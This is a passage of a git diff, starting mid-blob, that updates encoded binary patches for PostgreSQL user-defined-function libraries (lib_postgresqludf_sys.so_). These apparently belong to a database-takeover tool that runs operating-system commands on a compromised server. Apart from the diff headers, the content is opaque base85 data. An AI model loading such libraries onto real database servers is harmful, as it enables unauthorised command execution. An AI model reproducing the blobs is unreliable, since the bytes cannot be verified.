z+uwWNA<2^`s1yU8)mQ&v{qm=l&=Oq**rD$Ds_#7lw`QXf-!wS}gH`J3RxokH+>r~_ zExk3JnUM;udj@-~&;0<)=R+E#g@THopXAu zr|^w%ipHS>tIQOfyiP1iWZh&26N#s^_d@2D2T0&i<_7{4rqJk1B!X*;DlU9tdT!rs z?rQyVdT_h?1o-~IAD#*{I*R$N<^wI!g2WE!^3?||a>-{Bk-;22QR-qpew@V_C)N^nRFN`^n2{S+ zWTd~tDVj?axSyGP%zq(vgbcV`(8sRDm}q&4&r{hT8;#X3j}lzZV8f_%OxP20yLRDU{jJTsFODVGuq45_XHrYHMfCvJIb{T|243#$2! zq=wQ2@*53Sunhq+MDa2m<+dsoTy5iKPdAaBOZs>+?lTc+>I6kyHHWC;R`5Ps^@weP2(xSL#Y3>)?ox(^m!(wnW4L2xBfL~ffjq8W z&i*x;Hb#_ChajpoZQMytU(7Xc8kHFfx)W5>sHj!@DJLy}&J-~PL)P&b;~M!E&ngZE z0(4KaDiZ|TRlAdDS}Q{n{Q(#QlBwt}Gd;s1x0{PY9-V27X5D@E)sCE(eA_(KGqs7C zvz!CXSX?Tr@j&U6$nlBURZoyEs~Ux8=l`n~%lTk#rEbg6vEgZkT&%7_rdiO3$LjT|byS?pzZ`qak#HBN$r}t6l3Jq8@HYC$ zr4o$B7eok+EmoyU7+vSAkp_txj#THGunp{BB2`%%yJVblL+QT)8(2jXrqSmIv!XyC zL(D6)XTU4xEkp|AMQY5q%E2oWfGI%Qyuo0VJ@)1kM!vt2$(Oy7yhMj>KWbfoz4Gys zCF?^D+?YF3vmiSla6MI0S`|po724A^akg`!Ag?NRlta|gS1M=O0q^58P>dg^N`hXq XU7(Xqxka61tly}#>cV!Z4AKMcTY@5OKSO|M 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 diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ index 1335862f761753ba496e6856daf7b087b7d45281..ab23ee6a749779c5e556287d7e215ac022ef5ad4 100644 GIT binary patch literal 2563 zcmV+e3jFmws=^8%20W7`_W7=f%lGPK7YY38z$R!j4OY(eRr$D+_ijihJ2`XP`$

    d46Wk*TeFz!z%n>gdM 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 Z_xH!Od$lj-xq7be9=MX17Dk7#s_bqR3{3z4 literal 2563 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 literal 2633 zcmV-P3byq<(&{TdDLI00^_ZFFlBMqL3iREDc6WFHdnNTivZKaIMM`IL^yQiWlV);m z$iKr74RxMroMb-9nOuVXx_ZMb(jyVxH?{;0U*P)eI(x}*q|b?3qS{o)96%nWzFRY@ z#USEd zn9d65gYwQ{xK*hq?_)y!P_$13J$svtO#vW&Z9K%t%(jr3KiJKD7S*-s`_AU%#F-=D zo%d25WC8#GJTS1dr=&?W-;s{Pi&tN!&LY+lp zouP#iH$#rBKfG#xk6d~Ctix=(ef5i+_K#}zMqYNk>PrW;QODARqH++LX{mqXeM88w zGmF2w4B>hOHo{qiJmlymZS)DqfYM|wt*q3ZHJ*Kgb?p&(j-|V{P|Sm?rA$+ki_84 zidRb7fwEA>>>v2X__=Y)NQl@0Kl&yo_K(2uFuDPhqkwtrJA-Ijv0mfKgGcI`KP^Jw!Zw%{>d!G!>+UqTkcgIup0e9AAxO!i=h~R6zR_`BI~X zyxIiX+Br3l&J`=3G{!#9f&MYisn*lYqSeb@Nf@wO6&nih`N?F?yrjYLoZ;c={#q=n z-tD<~fJG%wHkFocC(XH_jR{;5)7Kv8A(QjfcDJiAl#znLW9jU>?V+)qF73}rEmngP ze`);&)G|x!t-J*qYW#cpdL~aihX=GBv_9hGuz`HL8B4s}I2$DyNTj!uD@lW@uP=>0 z$NIK*bKTpL)DgHez(7mAeX4R4wmR09%*E4v(1?jyzMh)AQGaLqu#Gl(@!1!zS`%3! zjS!?M-PJU?LfPcM#GH?+Yntp>!)%_$R`dOb4(qdtRRw*}I%T9fobx~XIx)~F$n+Wk z9+^icf{l|(^HLG%V|KLBD@7&=>$h#mrYPA=UcVWDWv1MJkNRgUKjD0KCc&T<+f$h3 z$+d>dNGR9NVwHNghiXz6vNX5*jjS2(fpWViTErLmQfAcysVAg2j@zs-Sf|fat;KXo zyfobu@A`CMn_%&F1IBWO$$?qbqVW)c(!K% z_}}me5{7yL%q{~Hz(zViUw{RaeEtT&ELNpuFQWG%sArg?=MZx$vW;Upx9sq5hGeS7 zjnzTuYhuU@SwqsM0W1g~5H#Wr&rtyV z18B2Ix8F|jNmDTYiREng&#(mQldUsj8>!YmcuQDqyUJ7PJNf|Q^jsuvF7hJ1a`;y0 z8SpscxS}muAd4uj!9{KipZ`j79hmib`y9Z>US;ztgVlwo+^ujil3+7%HkN!nkworF zafFNjlnHk#RzKLbYJJM!+OJsO!)O0+t%9) z6%f3qw5Vjkug9l50i~0pgOa)mho&6&0C9f~A?QSw+ zmNmmHJL5ZIp=6^rr=i;xzO0W1 z)o#lh8SC2Aib_swFvKqNFK2w^4?@Ph(a2G)K`Dn1=12{{#_`CbKd4dZFyuna!wXy~ zR+uyL;RX~smH$5hvC7R1M^SO3JFp*Jg%?6wIRW}J(l<3uqxZ!SeUw5x6kC}svWU)8rX$xLK(gS ztT!%cg{_VdqNm>67%>fvbmL4qeAzXf(a9~G7CyqVbfjjn+{&~ r;b({dA3A3~jgN!9Jp;0Gg1Hs7S>A}L6a%h0HGOvOF`$l2xDxsG1+y;@ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ index c730910de82c525953b6794703c62e9319321f55..e5d05fc6f16cfa594bfe35afac3a5116b88d7d7b 100644 GIT binary patch literal 2693 zcmV;03VQWDs>%uS(|TM~IAZnH45QCsOE%l~6e=wdJYJ#= zyM6ogD}Q?GS}RgB=3-M89Tk0l7ol)e19Jwja|&$=vQ8sJJQW9}He|m1j^Y46eHHdL z*v$Pt%`gGWDwW@ThOqIXstmjzu~ysHL?`g36WYWr8~LvGc5+^wt00#*LSfHgxBBu7 zs$hO5cm}ux z1+JQ6cepf~FHS+&cEVd;lM|vQm&E2mwa5#xcie;M2KA2YOrojOHue*^X7noO6+$SifB+#*i?k#dZfz9ZuV3 zZ^(_43UzHFf|FbAKZosvcZ9X(E{$0MzPHJd7F8yERzW3Z71;SwP}jhi@LssRCjpeg z??$xW8u$wpHViiMpWCy|$7z%`XVxFLxBYKq@MY=0C8Ry#T+Pk`qkuj_~e*exDdW{34 z)9NTb;J(w}DBi7kuusk13jYHm+;RW^?b~eKn}hRe!1uuJtO(`{CbI}L1q~@gF<&Td zSNMq@Wx|?=I2(}YQyyzJ1*2Q;i?q~iI>ypPNma`AMEDUo5DEDXXZXcE+F9jIoWSLk z#F$*3w{V;C>#DRy`^9oU5Frk-5*<)xUy1``05qTSm2*F5|xFp!0<@zfH9yjGcAo0B0LK{2S)cCOpR&6*^tyIMKrjy6;HRT z;!11LyL%p@n6R>MhVn21{nU>*$S<|U#bv__H-wBdoU@G<=%#f+bv;3kb=Z%z4{L4o zwVQlSRfRHeSJtP@;Nc-&sdE_rxIVa>rM5Ph(w3?w*oUM@_cV{8kt4*a*N;Z*iK(^B zx-@cxn(~7yxM-h~xf}TKxLp@NbAVN+PKhhLotdpHwo9V0=HqM2DYT=7Z&ugSW-wVi zc2dN0M~gq~NvE|xaXe#$BF0e+{B2J>${?;6Z61|6&VTIC0O#N5Sg| z4f;wg6#&fA_F|(KW3m`IDn|4&zAMhZX@qf1gyFKvzDCC&Z9tm0Q4vj-EVd<7Rqu0c zlh+2kU{TNH5nw0@qbFyl4R|NI&B#oh;a?eLqA;Uak`T~xFUZ)-SW*ZByr>fHe|Tmj zeqy5-cKx?q#~j-4B9%}d2;M7{CblSnF9WZ3!AM$jo(+`9;dGBXjA}SjZDZ28~Z~^63%*O62)-S$X3~5Y*|7s!UC@XZuHwxe3U3_=H#(Y?$2Y(CXpB~i|&7?Y=8QiNHGfjyLk~3o!LVJ{= z6PV5q9GE}%ct0<3nm0S-`O<~RM`95)liHFu<